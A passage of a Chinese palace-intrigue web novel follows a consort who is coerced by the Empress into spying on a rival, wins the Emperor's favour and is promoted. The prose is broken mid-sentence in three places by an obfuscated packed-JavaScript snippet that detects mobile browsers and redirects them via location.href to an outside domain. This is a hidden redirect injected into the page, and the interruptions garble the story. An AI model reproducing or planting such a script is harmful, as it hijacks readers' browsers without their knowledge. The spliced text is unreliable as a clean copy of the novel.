“是了,”柔答应附和道:“宣传以后不再生产,没有对比就不会有落差感,那些高价买了我们酒的人,才会觉得这笔钱花得值。这样以后再卖其他产品,也好出手。” 沈知微目露赞赏,拍了拍柔答应的肩,“看来你也很有做奸商的潜质嘛。” “姐姐快别取笑我了。” 大家笑做一团。云雁抱出最后一坛酒,推到沈知微面前,“小主,这最后一坛酒是皇后娘娘定的。小主真厉害,连皇后娘娘都买小主的酒呢。” 沈知微怔住,面露疑惑,“皇后?”她和柔答应对视一眼,奇道:“皇后怎会来买我的酒?”她可是在宴会上抢了皇后和荣妃的风头的。 沈知微心里砰砰直跳,猜不出皇后想要干什么,连柔答应也担忧地看向她。 云雁看出了些端倪,踌躇地说道:“皇后娘娘还派人传话,说果酒珍贵,怕下面的人取的时候毛手毛脚再摔坏了,让小主亲自送过去呢。” 柔答应皱眉,“姐姐,要不我陪你一起去吧。” 沈知微轻叹了一口气。她心里清楚,这两款果酒之所以卖的好,并非完全因为酒本身,而是当日端阳节宴,皇后和荣妃打擂台,元妃以她做的果酒作类比号召后宫团结,这才将这款酒推上了不属于它的高度。再加上皇上托底,否则是卖不上如此高昂的价钱的。 看来出来混总要还的。 沈知微谢过柔答应的好意,认命般说道:“此去祸福难料,我怎能连累你呢。罢了,该要面对的总要面对,我去吧。” * 这是沈知微第一次踏进安德宫。 黄琉璃瓦重檐庑殿顶宏伟壮观,檐下施以斗拱,梁枋绘有彩画,门前是汉白玉石铺就而成的月台,整体建筑恢弘大气。院内种有两颗杏花树,高大的树冠枝繁叶茂,有一小部分越出了院墙。 一花一木,一砖一瓦,处处彰显着身为皇后的庄严与尊贵。最重要的是,皇后一人独享。 侍女引着沈知微进入坤宁宫,浓重的檀香混杂着中药材的香味,闻起来有些呛鼻。沈知微几不可察地皱了下眉,绕过凤栖云阶的屏风,注意到凤座上那道庄重的身影。 沈知微屏息凝神,屈膝向皇后行礼。 “闲月宫常在沈氏,参见皇后娘娘,愿皇后娘娘凤体康泰,福寿绵长。” 高位上的人浅浅一笑,和煦地说道:“免礼。” 说罢,视线落在沈知微手中的锦盒上,“这就是你做的果酒?呈上来看看。” 沈知微恭敬地起身,将手中的锦盒交给前来取酒的侍女。来之前想着要送酒给皇后,又收了上百两银子,送酒总不能太过草率,故而出门前,沈知微特地将酒坛仔细擦过,放在锦盒中,再用丝带捆扎好带来。 嬷嬷从侍女手中接过锦盒,揭开盖子捧到皇后面前。皇后凑近闻了一下,便道:“果真是端阳宴上的那款。你倒是个手艺巧的,人长得也标致,怪不得皇上喜欢你。” 这寻常的夸赞,从寻常人口中说出来,倒是无妨。可从皇后口中说出,又是不知道对方意图的情况下,听起来就不是那么对味了。 沈知微不敢自傲,心想上位者最爱看到对方低眉顺从的模样,故而谦逊地说道:“侍奉皇上、皇后娘娘,是臣妾的本分,臣妾不敢以此邀功。臣妾粗陋的手艺,能让皇上、皇后娘娘高兴,臣妾就心满意足了。” 皇后眉眼弯弯,“这话说的本宫爱听,要是后宫中人人都像你这般懂事就好了。” 她把玩着手上缀满宝石的护甲,余光睨着沈知微,状似无意地提起:“听从前在闲月宫,娴贵人曾多番欺辱你,想必你受了许多委屈吧。还好后来皇上撞见,惩治了娴贵人。” 皇后叹了口气,作出关切的模样,“荣妃也真是的,娴贵人是她的亲信不假,可也不能纵着娴贵人为非作歹啊,害你吃了太多苦头。” “唉……本宫若非当时病着,岂能坐视不理,让你平白受了那么多委屈。想来……这也是本宫的错,你就算心里怨恨本宫,本宫也不会怪你。” 沈知微一颗心突然悬了起来,大脑飞速旋转。皇后这番话极具迷惑性,听起来是大领导关怀她先前受的苦,但怎么听都不对味。宫中如皇后这般地位,想要救谁不过是一句话的事,当时不救,不过是不想救不在意,压根不关心底层无足轻重的蝼蚁的死活。这会提起来,无非是拉踩荣妃,顺便拉拢她。 沈知微跪下,诚惶诚恐道:“皇后娘娘折煞臣妾了。先前娴贵人所做的一干恶行,皇上已查明清楚,还了臣妾公道,臣妾已心满意足,绝无怨恨之心。皇后娘娘千金贵体,是六宫之表率,凤体安康六宫才能安宁,臣妾每日都在心中祈祷,愿皇后娘娘凤体康健,又怎会怨恨娘娘呢。” 或许是沈知微低眉敛目、恭敬惶恐的模样逗乐了她,皇后笑逐颜开,空气不小心吸入肺中,忍不住呛了两声,原本挺的笔直的身体放松了不少,斜倚在凤座上,“好,好,本宫都明白。别跪着了,赐座吧。” 掌事姑姑闻竹会意,让人搬了个绣墩放在沈知微身旁。 皇后打量着低眉敛目的沈知微,终于切入今日的正题。“你心思浅,没什么心眼,本宫就喜欢和你这样单纯善良的人打交道。不像荣妃……” 她停顿了一下,似乎在找措辞,“荣妃是有些本事,只是有时候把握不好度。先前瑶池宴办砸了一次,这会端阳宴也不够尽善尽美。本宫有心想要指点一二,可是以荣妃的性子,想来听不进去的。若是有人能够从旁协助,想来荣妃会表现的更好些。” 皇后笑着看向沈知微,“本宫以为,以你的才智和手艺,倒是可以协助荣妃。比如下个月景桢的生辰宴,本宫想让你和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604366|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣妃一同筹备。至于荣妃那边,既是本宫派你去,想来她也不会太为难你。” 沈知微嘴角苦涩,心说正是因为你派我去,荣妃才会为难她,这让她如何在荣妃手下做事。 这细微的表情变化被皇后瞬间捕捉到,皇后继续说道:“你还年轻,正好多历练历练,提升自己总没有坏处。若是荣妃有不妥当的地方,你尽管来告诉本宫。” 沈知微被这一番话砸的晕头转向,大脑嗡嗡作响,直觉让她总觉得哪里不太对劲。 皇后让她去荣妃那偷家,是为了分割荣妃的宴会筹备权,削弱荣妃的实用价值;同时监视荣妃的一举一动,有情况报告给她。真这么做了,不就代表着她加入皇后阵营了吗?为什么选择她? 沈知微不喜欢做监视告密这种事,让人很不耻;更何况皇后和荣妃斗的胜负难分,在这种时候选边站实在太危险。 更奇怪的是,皇后与荣妃之间争权已经到了连演都不演的地步,完完全全地搬到台面上来。当初皇后走出安德宫,对外宣称是身体已经康健。既然如此,皇后为何不亲自筹备宴会,反而舍近求远,找她去制衡荣妃。 甚至于皇上也未提收回荣妃的协理六宫之权,将权力归还给皇后。到底是皇上厌恶皇后至深还是另有隐情…… 这一桩桩一件件汇总在一起,一个大胆的猜测轰入沈知微的脑海中:皇后身体依然很差,极差,差到根本不足以支撑她筹备下一场宴会,她根本不是不想做,而是做不到。皇后先前宣称的痊愈,不过是为了走出深宫的托词。是因为前朝苏氏和阮氏的斗争白热化,她必须得站出来牵制荣妃,维护苏氏一族。 沈知微浑身有些战栗,直觉告诉她此时参与到皇后和荣妃的争斗中会很危险,可是情感上却让她不忍心放弃这次机会她很想知道,如若参与到皇后与荣妃的斗争,她能得到什么。 “娘娘,臣妾怕做不好……” 皇后扫了她一眼,似乎看穿了她的心思,“我会向皇上提议,将生辰宴的酒水和点心交由你来负责,你只需要发挥你的才华,压荣妃一头。事后,本宫会借此由头,向皇上提议晋封你为贵人。你忠心为我做事,假以时日,荣妃的位置就是你的。” 皇后拿起手边的茶盏,意味深长地说道:“我们苏氏历经三朝,朝中根基深厚,门生遍布天下。你父亲在清水县做了十年县令,想要往上挪一挪,不过是我们苏氏一句话的事。这可是荣妃和阮氏做不到的。” 沈知微眉心一动。皇后提出的条件极具诱惑力,可是……她不想此时参与到皇后和荣妃的争斗中,更不想赌上全家的性命。 “臣妾一向粗笨,恐怕达不到娘娘的要求。” 皇后轻哼了一声,“这里没有外人,不必说这些场面话糊弄本宫。本宫选择你,自然是看出你是个聪明人。希望你在这次选择上也足够聪明,知道谁能给你带来真正的利益。” “机会只有一次,可要好好抓住了,不要和荣华富贵过不去。”皇后目光凌厉,似乎在逼着她表态。 沈知微心中有些苍凉,悲哀地意识到,她在皇后、荣妃这样的角色面前根本没有选择权。 只得隐隐按下心中的不快,先表面应下,来日从长计议。 她站起身,恭敬地行了礼,黝黑的瞳孔深不见底,“臣妾遵命。” 22. 色诱 沈知微走出安德宫,脸色一下子沉了下来。 她何尝不知道,皇后和荣妃斗得正狠,她一个常在位分低微,这时选边站无疑是自寻死路。 皇后拉拢她,是想拿她当炮灰用。来日她没有利用价值了,立马会将她抛弃在一边,说不定还会拿她去顶罪。 这可怎么办…… 沈知微站在艳阳下,手脚却格外冰凉。重重叠叠的宫殿将她包裹其中,衬得她仿佛是一只误入迷宫深处的雀鸟。 她仰头望天,想要呼吸高处的空气,却被安德宫正北方的殿宇挡住视线。 沈知微眯起眼睛,回忆那道红墙之后是哪座宫殿。 三省殿,皇上处理公务,召见朝臣的场所。 对了,皇上! 沈知微头脑中一个激灵,立刻有了主意。 她步履匆匆回到闲月宫,吩咐孔嬷嬷准备食盒,又坐在妆镜前仔细打扮了一番,画了一个格外精致诱人的妆容后,带着云雁前往三省殿。 云雁拎着食盒,趋步跟在身后,疑惑不解道:“小主,您不是刚从皇后宫中回来吗,这又是要去哪啊?” 沈知微步履匆匆,头也没回,“去见皇上。” “啊?!见皇上?”云雁惊呼一声,自知不妥,迅速捂住了嘴巴。 云雁心中腹诽,她家小主是那种没事绝不会主动去御前见皇上的人,今天这是怎么了,难不成刚才在皇后宫中受了什么刺激? 可惜皇后当时只让小主一个人进殿,她没能跟着,不知到底发生了什么事。如今看小主严肃的模样,她也不敢多问。 主仆二人很快走到了三省殿,沈知微平复了下心情,走到三省殿总管太监何忠顺面前,“何公公。” 何忠顺一转身就看到了精心打扮过的沈知微,眼眸中闪过一丝诧异的光,在被旁人察觉之前迅速收敛好表情,规矩地行了个礼:“奴才参见沈常在,沈常在吉祥。” “何公公免礼。”沈知微颔首,声音如春风般和煦:“如今天气越来越热,我做了消暑解乏的糖水和点心,给皇上送些来,不知皇上是否得空?” 说完,沈知微温婉地低下头,面上云淡风轻,心中却是格外忐忑。她不告前来,不知皇上是否得空见她。若真是见不到,她只能另外想办法。 何忠顺垂眸,思索了两秒后说道:“沈小主考虑的真周到。请小主稍候片刻,奴才这就去通传。” “有劳公公。” 没过多久,何忠顺走出大殿,对沈知微恭敬地说道:“沈小主,皇上请您进去。” 沈知微原本一直低垂的眼眸一瞬间亮了,谢过何公公后,独自拎着食盒进入三省殿。 沈知微今日身穿青绫织锦莲花裙,头戴水晶芙蓉簪,出门前特意化了个清秀的妆容,还在身上洒了之前制作的幽兰香水,整个人清新脱俗,娇而不媚,如同夏日池塘中盛开的荷花,微风轻轻拂过,让人的心也跟随花朵一同颤动起来。 桓宸从如山的奏折中抬起头,映入眼帘的便是这样一个美人,他深吸一口气,想要沉稳些,可嘴角却止不住上扬。 “今日怎么会过来?” 沈知微低眉浅笑,白皙的脸颊浮现一层浅红色的红晕,“臣妾的果酒全部卖完了,特来谢过皇上。” “是吗,”桓宸挑起眉,倒也没有特别惊讶,“这下高兴了?” “高兴,臣妾特别高兴。”沈知微浅笑晏晏,将食盒放在一旁的方桌上,“如今天气越发炎热,臣妾亲手做了山楂乌梅饮和藕粉桂花糖糕,健脾润肺,清甜爽口,皇上尝尝?” 桓宸放下手中的奏折,绕过长桌走到沈知微身边,“你一向细心,手艺也好,做的点心一定好吃。” 他牵起沈知微的手,在方桌旁坐下,“只是要感谢我的话,几道点心可是不够的。” 沈知微瞪大了眼睛。 下一秒,桓宸一把拉过沈知微坐到他腿上,掐住她的腰额头相抵,在沈知微的唇上轻轻落下一个吻,“这样还差不多。” 沈知微被夺了呼吸,刚开始有些怔愣,后转念一想,闭上眼睛主动迎了上去。 桓宸一怔,看进沈知微深邃动人的眼睛中,又落下了一个吻,力度比前一个大许多。二人温热的气息交缠在一起,桓宸用舌头顶开她的齿缝,在腔内肆意挑逗。沈知微粗喘着气,勾住桓宸脖颈的手却缠的更紧了,口中发出喃喃的呓语,“皇上……” 桓宸浑身燥热,这才不舍地将人放开。 桓宸继续让沈知微坐在他腿上,和她一起分享桌上的点心。又是一番挑逗后,桓宸抬起沈知微的下巴,目光幽幽:“你今日来只是送点心,没有别的事?” 沈知微抿住唇,注视着桓宸深邃的目光,“有……” “哦?” 她眨了眨眼睛,长长的眼睫忽闪忽闪的,“臣妾想皇上了,皇上好久没见臣妾了。” 桓宸心中一揪,仿佛被一双无形的大手抓住,反复揉搓让人难安。 “最近前朝事忙,得空会去看你的。” 沈知微瞪大眼睛,眼中包含期许:“那臣妾跟皇上约个时间,不忙的时候,陪臣妾一起放风筝。” 桓宸笑道:“就这样?” 沈知微摇摇头,原本嬉笑的眉眼中竟浮上一层羞赧,“不,臣妾可贪心了。” “臣妾想和皇上春日放风筝,夏日赏荷,秋日登高,冬日赏雪,一年四季都和皇上在一起,一生一世都陪伴着皇上。” 桓宸愣了一瞬,随即哈哈大笑起来,“原来你这么贪心啊。” 他伸手掐了下沈知微的脸颊,眸中深不见底,“好,朕答应你。” “多谢皇上!”沈知微连声音中都洋溢着欣喜,俯身贴在桓宸的胸膛上。 二人亲密地依偎在一起,一时遣倦难分。在桓宸看不到的地方,沈知微的眼眸逐渐暗淡下来,多了一丝阴翳和哀愁。 * 三省殿外,海贵人来时,听到殿内传来爽朗的笑声,怔了一下,问身旁的何忠顺:“何公公,殿中是有其他人吗?” 何忠顺“哎呦”一声,屈膝行礼,“海贵人吉祥。”他弓着身子,回道:“沈常在来了,正在里面伴驾呢。” “这样啊。”海贵人笑意收敛,看着殿内的方向,不经意垂下眼眸,掩盖住眸色中的不忿。 她转过身,从侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她从前在桓宸面前说过许多软话,撒娇过,讨好过,但其实内心一直无法接受以色侍人。可是她身处后宫,所有的富贵荣辱都系于皇上,如今被人逼到这份上,早就没得选,没有其他路可走了。 唉…… 沈知微无言的叹息。 直到金乌西斜,夜幕降临,桓宸终于放下了手中的奏折,带沈知微一同用过晚膳。 帐幔缓缓放下,空气中格外安静,心脏“扑通扑通”跳个不停。 桓宸单手支着脑袋,侧卧在床上打量沈知微,半响,开口说道:“你今日与往常不太一样。过于乖巧了些,倒是让朕有些不太适应。” 沈知微颔首低眉,可心脏却猛地一紧,她的演技有那么差?皇上发现了她别有所图? 沈知微眼睫颤动,谨慎地说道:“臣妾是因为……是因为……皇上对臣妾太好了,臣妾思慕皇上崇拜皇上,担心这样的好以后就没有了,心中实在不安。” 说罢,她慌乱地抬起头,眼中闪过一丝焦急和委屈,“臣妾失言,臣妾自知身为宫妃不该说这样的话,还请皇上恕罪……” 桓宸叹了口气,将沈知微抱在怀中,手臂不自觉地收紧,一个安抚性的吻落在沈知微鬓边,“傻话。你一心爱朕,朕怎会怪罪你呢。有朕在,不会让你受委屈。” “后宫中如果有谁欺负了你,就来告诉朕,嗯?” 沈知微依偎在桓宸的怀中,柔情似水,“臣妾遵命。” …… 烛台上静静燃烧的蜡烛,烛芯毫无预兆地“啪”的一声爆开,火星四溅,照应着满室的热烈与激情。 23. 贵人 次日清晨,皇上刚走不久,云雁疾步走进三省殿,“小主,今日还要去安德宫给皇后娘娘请安呢,再不走就来不及了。” 沈知微叹了口气。没想到皇后动作这么快,才宣布身体恢复,就迫不及待地恢复了六宫的例行请安。若换做往常,她是个小透明倒也无妨,可恰恰昨日皇后说了那些话…… 沈知微咬了咬唇,抽出别在衣襟处的手帕,“走吧。” 主仆二人到达安德宫时,已经有不少嫔妃坐到了座位上。以至于沈知微一出现,就有无数到视线“唰唰唰”地投射到她身上,其中不乏审视和嫉妒。看来昨夜侍寝之事,已经在后宫中传开了。 沈知微不动声色地在殿中扫了一眼,只见下首第一位的位置还空着,荣妃还没有来;元妃在荣妃对面坐着,来了有一会儿了,正不紧不慢地品茗着手中的茶水;贞嫔和纯嫔相对而坐,双双偷瞄沈知微。一向与荣妃交好的康嫔还未到;海贵人、魏常在、柔答应、孙答应、余答应都已经到了。 沈知微心中大致有了数,走到自己的座位旁坐下。 纯嫔睨了一眼沈知微,扬起了娇俏的尾音,“呦,沈常在来的可真够‘早的’,让这么多人等着你,真是不懂规矩。不过是侍奉过几回皇上,就连皇后娘娘和我们这些位分比你高的妃嫔都不放在眼里了。” 纯嫔说完,得意地昂起头,露出凌厉的下骸线,似乎尖酸刻薄的话语一出,就能让她心情好是的。可她完全没有意识到,殿中的气氛却因这句话凝固起来。元妃手中的动作一掷,眉毛轻微拢在一起,又很快舒展开了。贞嫔也嗔怪地看向她,心中暗骂挑事归挑事,干嘛拿其他人当借口,这不是摆明拿她们当枪使吗。 沈知微也很无奈,一大早被这个二货找茬,心情格外烦躁,可又不得不维持住表面的休养,好声好气地说道:“纯嫔娘娘此话差矣,各位娘娘在我等心中,如同皎皎之日月,天上之星辉,臣妾等敬重还来不及,又怎敢轻慢呢。” 纯嫔鼻孔出气哼了一声,“马屁精。若真是不敢轻慢,下回就来早些,别让旁人等着你。你不敬我们也就罢了,总不能连皇后都不敬重吧。” 沈知微莞尔一笑,“六宫给皇后娘娘请安,素来是卯时开始,臣妾自问并未延误。更何况,荣妃娘娘和康嫔娘娘还未到场呢,难不成纯嫔娘娘的意思是,她们也不敬皇后?” 纯嫔急了,“她们是她们,你是你,这么着急顶嘴做什么?我位分在你之上,说你两句你还听不得了?” 沈知微深吸一口气,不再吭声。纯嫔又菜又爱玩,输了就拿权势压人,有事没事喜欢给人添堵,真是没劲。 室内一时压抑下来,无人再说话。直到殿外传来一阵脚步声,荣妃裹挟着晨风,身后跟着康嫔,带着各自的侍女,器宇轩昂地走了进来。 荣妃今日身穿赤金妆花凤凰衣,制衣时特地用金银线勾边和描摹花纹,衬得她整个人都金光熠熠,凤凰啼珠的头冠将气势提高了几大截,让人看一眼都挪不开眼睛。 殿中的众人毫无疑问被盛装打扮的荣妃吸引了,齐刷刷地看向荣妃,眼眸中是难以掩盖地赞叹。 荣妃似乎对大家的反应很满意,嘴角得意地翘了起来,“诸位妹妹可真勤快,倒是衬得本宫来晚了。” 她一边说着,一边走到最前方她的专属位置坐下,手臂搭在扶手上,倨傲地抬起头。 空气中有一瞬间的安静,不知是谁突然开了口,小心翼翼地赔上笑脸,“娘娘宫务繁忙能者多劳,别说尚未来晚,就算来晚了,大家也是能理解的。” 荣妃身体微侧,睨了那说话的人一眼,挤出一个虚假的笑脸。又很快地回首,问身后的侍女青杏:“什么时辰了?皇后怎么还不出来啊?” 青杏弓着身子,小心翼翼地答道:“回禀娘娘,卯时一刻了。” 荣妃嫌弃地掀起眼皮,嘴角嘲弄地笑了笑,“真慢啊……” 余下众人纷纷移开视线,不接荣妃的话茬。直到屏风后传来一声尾音拖长的唱名,“皇后娘娘驾到——”,这才打破了殿中越发诡异的气氛。 皇后苏妙容从屏风后踱步走出,身着明黄龙凤纹朝服,头戴金累丝嵌珠满钿,神色庄严肃穆,彰显着母仪天下的气度,完全不输方才的荣妃。 荣妃眼神骤冷,扯了扯嘴角,懒洋洋地和大家一同向皇后屈膝行礼,“臣妾等参见皇后娘娘,愿皇后娘娘凤体康健,福寿绵长。” “都起来吧。”皇后勾起嘴角,露出一个礼节性的微笑。 之后,皇后问了荣妃先前经手的几项宫务,问了元妃大皇子最近的学业,问了贞嫔前些日子的风寒可有痊愈,嘱咐海贵人看书不要太晚保重身体,嘱咐沈知微要好好侍奉皇上…… 一席话了,众人都有些乏了,以为要结束之时,却听皇后话锋一转,严肃地说道:“还有一件事。 太后的寿宴就要到了,本宫已问过皇上该如何安排,皇上的意思是寿宴要办的让太后高兴,还要办出新意,若回回都是那些歌舞宴饮,就算办出来也没意思。诸位姐妹可有什么好主意?”说罢,目光落在荣妃身上。 荣妃垂下眼睫,大脑加速运转。太后和皇后一向走得近,太后喜欢什么,皇后不应该最清楚吗?干嘛来问她呀。莫不是要挖坑给她钻,还是要拿她当垫脚石?罢了,她掺和一脚注定出力不讨好,干脆不吭声,任凭皇后折腾去。 皇后见她毫无反应,眸色冷了一分,扬声问道:“荣妃,你有什么想法?” 荣妃心中骂娘,抬起头挤出一个假笑,“臣妾以为,太后常年在圆明园清修,圆明园地广物博风景又好,不如就将寿宴放在圆明园中办,省的太后她老人家来回折腾。至于其他的,不知皇后有什么高见呢?” 皇后听她说了跟没说一样,就气不打一处来。扯了扯嘴角,严肃地说道:“太后的寿宴,自然是在圆明园中办最好,但具体如何筹备,还需要大家通力配合。本宫初步想着,选几个负责人,专人专司其职。像寿宴的菜品,就由本宫亲自筹备;歌舞表演,杂耍戏曲,就交给荣妃。至于酒水嘛,”皇后若有所思,“沈常在——” 沈知微被点到名,脑海中紧绷的那根弦“啪”地一下断了,脸色惨白站起身,隐藏在眼睫阴影下的眸色深不见底,“臣妾在。” 皇后目光落在她身上,幽幽地说:“端阳宴你做的果酒很好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637499|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手艺不输宫中御酒坊。这回太后寿宴的酒水,就由你来负责吧。” “是。”沈知微应下,声音无喜无悲。 这下其他人不淡定了。其他嫔妃瞪大了眼睛,惊诧地看向沈知微,纯嫔更是惨白着一张脸:这可是太后的寿宴啊,能插手太后寿宴的,后宫中一般只有皇后和荣妃,连元妃有时都不能参与,沈知微一个常在,凭什么啊…… 荣妃眯起眼睛,神情阴冷,攥紧了手中的茶盏,因用力过大指甲盖中泛起了一小块白色。 皇后见效果达到了,继续说道:“沈常在你放心将酒水筹备好,若是遇到困难的地方,尽管来告诉本宫和荣妃,我想荣妃也是很愿意帮你的。是吧?”最后一句,是问荣妃的。 荣妃眉眼一抬,看向皇后,如同毒蛇瞄准猎物,幽幽地吐出信子,“呵,是。” 沈知微,你尽管来找我。 一而再再而三地抢我的风头碍我的眼,本宫这回若不让你栽个大跟头,我阮郦华的名字倒过来写。 * 待沈知微和柔答应结伴回到闲月宫时,已经巳时快到午时了。二人都惨白着脸,身心俱疲。 回宫的路上,沈知微先是站在太阳底下被荣妃耳提面命,听荣妃说了许多寿宴上的细节和要求,还让她明日晨起后去荣妃宫中“学习讨教”。 没走几步,又被贞嫔和纯嫔拦下,纯嫔夹枪带棒地讽刺沈知微,没讨找好后气呼呼地走了,临走前还用肩膀狠狠撞了一下沈知微。 这一路坎坷无比,都是同住的柔答应陪着。 “姐姐,晌午的太阳正是毒的时候,赶紧回宫歇……咦?”柔答应的话戛然而止,目光看向前方。 沈知微顺着她的目光看去,只见御前太监小德子手捧圣旨,带着一众小太监在半月轩门口等候。 见沈知微回来了,小德子佯装咳了一声,“圣旨到,请沈常在接旨。” 沈知微和柔答应对视了一眼,神色俱变,二人走到小德子面前,一前一后跪着,身后还跪了一片半月轩的宫人。 “奉天承运,皇帝召曰。今闻沈氏有女,生而端慧,淑慎恭俭,德馨内蕴,深得朕心。特禀名皇太后,奉祖宗之训,依六宫之制,册沈氏为贵人,赐封号为兰,以彰其德,以显恩荣。钦此。” “兰贵人,接旨吧。” 沈知微方才在路上还在发愁,自己身份低微,可却要承担太后寿宴酒水这样的大事,生怕自己的位分难以服众,没想到如今喜从天降,皇上竟然封她为贵人! 沈知微目光切切,恭敬地俯身叩首,“臣妾接旨。” 柔答应激动万分,搀着沈知微的胳膊,“恭喜姐姐!” 小德子也笑意盈盈,“恭喜兰贵人。” 沈知微微微侧首,给云雁使了一个眼色。云雁会意,立马从荷包中拿出几锭银子,交到小德子手中。 小德子的笑容更灿烂了,向沈知微讨好似的,“晚上凤鸾春恩车回来接贵人,还请贵人早做准备。” 沈知微神色一怔,笑容逐渐凝固起来,在被察觉到异样之前,悄然垂下了头,掩盖住眼眸中的情绪。 “……多谢公公。” 24. 谋害 晨光透进安德宫的窗柩,照亮了满室。 皇后身体坐的笔直,唇角微微勾起,眸色幽深,看向荣妃身旁的沈知微,“本宫原本打算,若是你这回差事做得好,就向皇上提议晋封你为贵人,没想到皇上先行一步……嗯,这说明你侍奉皇上侍奉的得当,理应受此嘉奖。” 沈知微被皇后盯的心中发毛,避开了皇后的视线。 今日给皇后请安后,皇后特意留下了她和荣妃,说是要商量太后寿宴的事。那时沈知微就在心中打鼓,皇后曾经为了拉拢她,许诺要晋她的位分,如今她依靠皇上成了贵人,那皇后会怎样?会改变策略胁迫她吗? 沈知微思索着,故意垂下头,摆出谦逊的模样,“皇后娘娘厚爱,臣妾愧不敢当。臣妾身为宫妃,深知侍奉皇上、皇后娘娘是妃嫔本分,臣妾自进宫以来,发自内心敬重皇上和娘娘,绝无二心。今得皇上厚爱,得以进封贵人,臣妾感激不尽,今后也会尽心尽力侍奉好皇上和娘娘,绝不懈怠半分。” “兰贵人一向懂事,本宫很是欣慰。这回太后的寿宴,你可要好好表现,宫中储藏的酒若是嫌不够,可以到京郊酒庄中去取,总之不要让本宫失望。”皇后特地加重最后两个字。 沈知微攥紧手帕,“臣妾一定竭尽全力。” 皇后笑意更深了,转向一旁的荣妃,“昨日本宫去向太后请安,太后提到此次的寿宴,希望能在圆明园澄心台办,荣妃你怎么看?” 荣妃忍不住在心中翻了个白眼,太后都说了要在澄心台办,她能怎么看,照办呗。 “既是太后的寿宴,自然要尊重她老人家的意思。只是澄心台平日里鲜少使用,想来年久失修,得派人重新查看一遍才是。” “这点本宫想到了。昨日太后一提起此事,本宫便派人去澄心台查看。回来的人说,澄心台蛛网、灰尘积了不少,梁柱油漆脱落,湖边的栏杆也都有些松动。这些都得整修一遍才是,荣妃,这件事就交由你来负责吧。至于歌舞筹备之类的,你若是做不过来,就交给兰贵人去办,给新人机会嘛。” 荣妃深吸一口气,心里忍不住骂人。 呵,皇后可真是会算计,歌舞、酒水筹备这种容易讨功劳的让沈知微去做;整修澄心台这种出力不讨好的事让她去做,当她是白给人卖命的傻瓜吗! 荣妃身体一扭,冷冷地说道:“不必了,本宫应付的来,就不必麻烦兰贵人了。”说罢,还蔑视了沈知微一眼。 皇后倒也不恼,只是细致的“嘱托”道:“好。整修澄心台是寿宴筹备的重中之重,离太后寿宴还有一个月,你可要抓紧了,千万、不要出什么差错。” 荣妃有些不耐烦,“知道了。” 皇后抿住唇,和沈知微对视了一眼,又很快地撇开了视线。 次日,马车一路颠簸,将沈知微带到皇家酒庄。酒庄位于京郊,附近无人居住,两侧是成片的树林。 酒庄朱红色的大门高大宏伟,门楣上挂有一块牌匾,上面写着“太平酒庄”。大门两侧有影壁,影壁上雕刻着精美的砖雕图案。 庄主曹承恩早已等在门口,见沈知微下了马车,恭敬虔诚地行了个大礼,“贵人大驾光临,有失远迎,还望贵人恕罪。” 沈知微用帷帽遮住了脸,看不清表情,淡淡地开口:“曹庄主免礼。” “多谢贵人。”曹承恩站起身,抬起左手伸向大门处,“贵人里面请。” 沈知微扶着孔嬷嬷进入酒庄,只见庭院内整体沿中轴线对称,接待区、生活区、酿酒区、仓储区分类规划,各院落之间通过连廊、垂花门等相互联通;除此之外,庭院内还有水池、假山、花坛和古树等景观,算是古朴雅致。 沈知微谢绝了曹庄主喝茶休憩的提议,让他直接带她去选酒。 成品酒主要存放在仓储区,听曹庄主的介绍,“太平酒庄”主要产葡萄酒,但因为宫中储存条件有限,各地其他酒庄送进京来的酒,也会放在这里存放。像宫中宴会常用的龙台御酒、玉泉酒、太平春酒、莲花白酒,年节时使用的屠苏酒、雄黄酒,具有保健功效的松苓酒、菊花白等等,这里都有。 沈知微一一了解过后,又去酿造区观摩了一番,最终选定了龙台御酒、太平春酒、菊花白这三款,决定先带回宫中给皇后过目,再定下最终的一款。 曹庄主是个有眼色的,连连称赞沈知微好眼光,招呼着院中小厮跑前跑后地帮沈知微搬酒,还额外送了几坛太平酒庄的新品让沈知微带回去尝鲜,忙活完这一切后,亲自侯在马车边恭送她上车。 沈知微踏上马车,回眸看到酒庄附近的那片树林,身影一滞下了马车,问曹庄主道:“那边是做什么的?” 曹庄主看向沈知微示意的方向,“哦”了一声,“您说那个啊,那里是松柏林,种的都是松树和柏树,有时南方和东北地区的木材运输时间长,宫中着急用的话,会就近从这里取材,作为修建宫殿亭台的辅助材料。” “那这回修缮澄心台,也是从这里取材吗?” “回禀贵人,正是。按理说既是太后寿宴,本应从南方运送最好的木材来的,只是皇后娘娘有旨,寿宴在即让所有工作都要抓紧完成。柏树纹理细密、耐腐性强,是建筑的好材料,故而也是在这里取材的。” 沈知微颔首,“这样啊,带我去看看吧。” “这……”曹庄主有些为难。 沈知微声调骤冷,“皇后命我协助荣妃修缮澄心台,不过是几根木头,本宫难道看不得吗?” 曹庄主诚惶诚恐,“贵人这话可是折煞草民了,贵人想看,草民哪敢阻拦,这就带您去。” 沈知微哼了一声,转身上了马车。 